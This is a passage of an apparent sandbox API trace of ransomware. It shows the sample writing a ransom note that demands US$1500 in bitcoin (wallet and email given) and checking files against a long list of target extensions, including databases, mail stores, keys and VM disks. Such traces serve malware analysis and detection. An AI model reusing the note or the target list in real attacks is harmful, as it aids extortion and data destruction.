returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\HOW TO DECRYPT FILES.txt" [0112.443] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\how to decrypt files.txt")) returned 0xffffffff [0112.443] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data\\accc3a5269658c8c47fe3e402ac4ac1c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.444] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.444] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.446] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.446] CloseHandle (hObject=0x90) returned 1 [0112.446] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\", lpString2="System.Data.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll" [0112.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.ems") returned 0 [0112.446] lstrlenA (lpString="*.ems") returned 5 [0112.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.db") returned 0 [0112.446] lstrlenA (lpString="*.db") returned 4 [0112.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.dbf") returned 0 [0112.446] lstrlenA (lpString="*.dbf") returned 5 [0112.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.myox") returned 0 [0112.446] lstrlenA (lpString="*.myox") returned 6 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.myo") returned 0 [0112.447] lstrlenA (lpString="*.myo") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbw") returned 0 [0112.447] lstrlenA (lpString="*.qbw") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbb") returned 0 [0112.447] lstrlenA (lpString="*.qbb") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbm") returned 0 [0112.447] lstrlenA (lpString="*.qbm") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbo") returned 0 [0112.447] lstrlenA (lpString="*.qbo") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbx") returned 0 [0112.447] lstrlenA (lpString="*.qbx") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qba") returned 0 [0112.447] lstrlenA (lpString="*.qba") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qby") returned 0 [0112.447] lstrlenA (lpString="*.qby") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qbj") returned 0 [0112.447] lstrlenA (lpString="*.qbj") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.ofx") returned 0 [0112.447] lstrlenA (lpString="*.ofx") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.qif") returned 0 [0112.447] lstrlenA (lpString="*.qif") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mye") returned 0 [0112.447] lstrlenA (lpString="*.mye") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mbox") returned 0 [0112.447] lstrlenA (lpString="*.mbox") returned 6 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.eml") returned 0 [0112.447] lstrlenA (lpString="*.eml") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.pst") returned 0 [0112.447] lstrlenA (lpString="*.pst") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.ost") returned 0 [0112.447] lstrlenA (lpString="*.ost") returned 5 [0112.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.idx") returned 0 [0112.448] lstrlenA (lpString="*.idx") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.dbx") returned 0 [0112.448] lstrlenA (lpString="*.dbx") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.sql") returned 0 [0112.448] lstrlenA (lpString="*.sql") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mdb") returned 0 [0112.448] lstrlenA (lpString="*.mdb") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.fdb") returned 0 [0112.448] lstrlenA (lpString="*.fdb") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.wab") returned 0 [0112.448] lstrlenA (lpString="*.wab") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.dat") returned 0 [0112.448] lstrlenA (lpString="*.dat") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.txt") returned 0 [0112.448] lstrlenA (lpString="*.txt") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.jpeg") returned 0 [0112.448] lstrlenA (lpString="*.jpeg") returned 6 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.jpg") returned 0 [0112.448] lstrlenA (lpString="*.jpg") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.png") returned 0 [0112.448] lstrlenA (lpString="*.png") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.php") returned 0 [0112.448] lstrlenA (lpString="*.php") returned 5 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.cs") returned 0 [0112.448] lstrlenA (lpString="*.cs") returned 4 [0112.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.cpp") returned 0 [0112.448] lstrlenA (lpString="*.cpp") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.rar") returned 0 [0112.449] lstrlenA (lpString="*.rar") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.zip") returned 0 [0112.449] lstrlenA (lpString="*.zip") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.html") returned 0 [0112.449] lstrlenA (lpString="*.html") returned 6 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.htm") returned 0 [0112.449] lstrlenA (lpString="*.htm") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.xlsx") returned 0 [0112.449] lstrlenA (lpString="*.xlsx") returned 6 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.xls") returned 0 [0112.449] lstrlenA (lpString="*.xls") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mp4") returned 0 [0112.449] lstrlenA (lpString="*.mp4") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.ppt") returned 0 [0112.449] lstrlenA (lpString="*.ppt") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.pptx") returned 0 [0112.449] lstrlenA (lpString="*.pptx") returned 6 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.doc") returned 0 [0112.449] lstrlenA (lpString="*.doc") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.dot") returned 0 [0112.449] lstrlenA (lpString="*.dot") returned 5 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.docx") returned 0 [0112.449] lstrlenA (lpString="*.docx") returned 6 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.7z") returned 0 [0112.449] lstrlenA (lpString="*.7z") returned 4 [0112.449] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.tar") returned 0 [0112.450] lstrlenA (lpString="*.tar") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.bz2") returned 0 [0112.450] lstrlenA (lpString="*.bz2") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.gz") returned 0 [0112.450] lstrlenA (lpString="*.gz") returned 4 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mkv") returned 0 [0112.450] lstrlenA (lpString="*.mkv") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.eml") returned 0 [0112.450] lstrlenA (lpString="*.eml") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.msg") returned 0 [0112.450] lstrlenA (lpString="*.msg") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.edb") returned 0 [0112.450] lstrlenA (lpString="*.edb") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.accdb") returned 0 [0112.450] lstrlenA (lpString="*.accdb") returned 7 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.odb") returned 0 [0112.450] lstrlenA (lpString="*.odb") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.java") returned 0 [0112.450] lstrlenA (lpString="*.java") returned 6 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.asm") returned 0 [0112.450] lstrlenA (lpString="*.asm") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.pfx") returned 0 [0112.450] lstrlenA (lpString="*.pfx") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.pem") returned 0 [0112.450] lstrlenA (lpString="*.pem") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.p12") returned 0 [0112.450] lstrlenA (lpString="*.p12") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.gpg") returned 0 [0112.450] lstrlenA (lpString="*.gpg") returned 5 [0112.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.vsd") returned 0 [0112.450] lstrlenA (lpString="*.vsd") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.odg") returned 0 [0112.451] lstrlenA (lpString="*.odg") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.raw") returned 0 [0112.451] lstrlenA (lpString="*.raw") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.nef") returned 0 [0112.451] lstrlenA (lpString="*.nef") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.svg") returned 0 [0112.451] lstrlenA (lpString="*.svg") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.psd") returned 0 [0112.451] lstrlenA (lpString="*.psd") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.vmx") returned 0 [0112.451] lstrlenA (lpString="*.vmx") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.vmdk") returned 0 [0112.451] lstrlenA (lpString="*.vmdk") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.vdi") returned 0 [0112.451] lstrlenA (lpString="*.vdi") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.lay6") returned 0 [0112.451] lstrlenA (lpString="*.lay6") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mpeg") returned 0 [0112.451] lstrlenA (lpString="*.mpeg") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.djvu") returned 0 [0112.451] lstrlenA (lpString="*.djvu") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.tiff") returned 0 [0112.451] lstrlenA (lpString="*.tiff") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.backup") returned 0 [0112.451] lstrlenA (lpString="*.backup") returned 8 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.pdf") returned 0 [0112.451] lstrlenA (lpString="*.pdf") returned 5 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.cert") returned 0 [0112.451] lstrlenA (lpString="*.cert") returned 6 [0112.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.docm") returned 0 [0112.451] lstrlenA (lpString="*.docm") returned 6 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.xlsm") returned 0 [0112.452] lstrlenA (lpString="*.xlsm") returned 6 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.dwg") returned 0 [0112.452] lstrlenA (lpString="*.dwg") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.nd") returned 0 [0112.452] lstrlenA (lpString="*.nd") returned 4 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.tlg") returned 0 [0112.452] lstrlenA (lpString="*.tlg") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.lgb") returned 0 [0112.452] lstrlenA (lpString="*.lgb") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mov") returned 0 [0112.452] lstrlenA (lpString="*.mov") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.xdw") returned 0 [0112.452] lstrlenA (lpString="*.xdw") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.ods") returned 0 [0112.452] lstrlenA (lpString="*.ods") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.wav") returned 0 [0112.452] lstrlenA (lpString="*.wav") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.mp3") returned 0 [0112.452] lstrlenA (lpString="*.mp3") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.aiff") returned 0 [0112.452] lstrlenA (lpString="*.aiff") returned 6 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.flac") returned 0 [0112.452] lstrlenA (lpString="*.flac") returned 6 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.m4a") returned 0 [0112.452] lstrlenA (lpString="*.m4a") returned 5 [0112.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data\\accc3a5269658c8c47fe3e402ac4ac1c\\System.Data.ni.dll", pszSpec="*.csv") returned 0 [0112.452] lstrlenA (lpString="*.csv") returned 5 [0112.452] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a838e0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99a838e0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99b68121, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x847800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.452] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.453] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99cbed84, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x99cbed84, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x99cbed84, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accc3a5269658c8c47fe3e402ac4ac1c", cAlternateFileName="ACCC3A~1")) returned 0 [0112.453] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.453] FindNextFileA 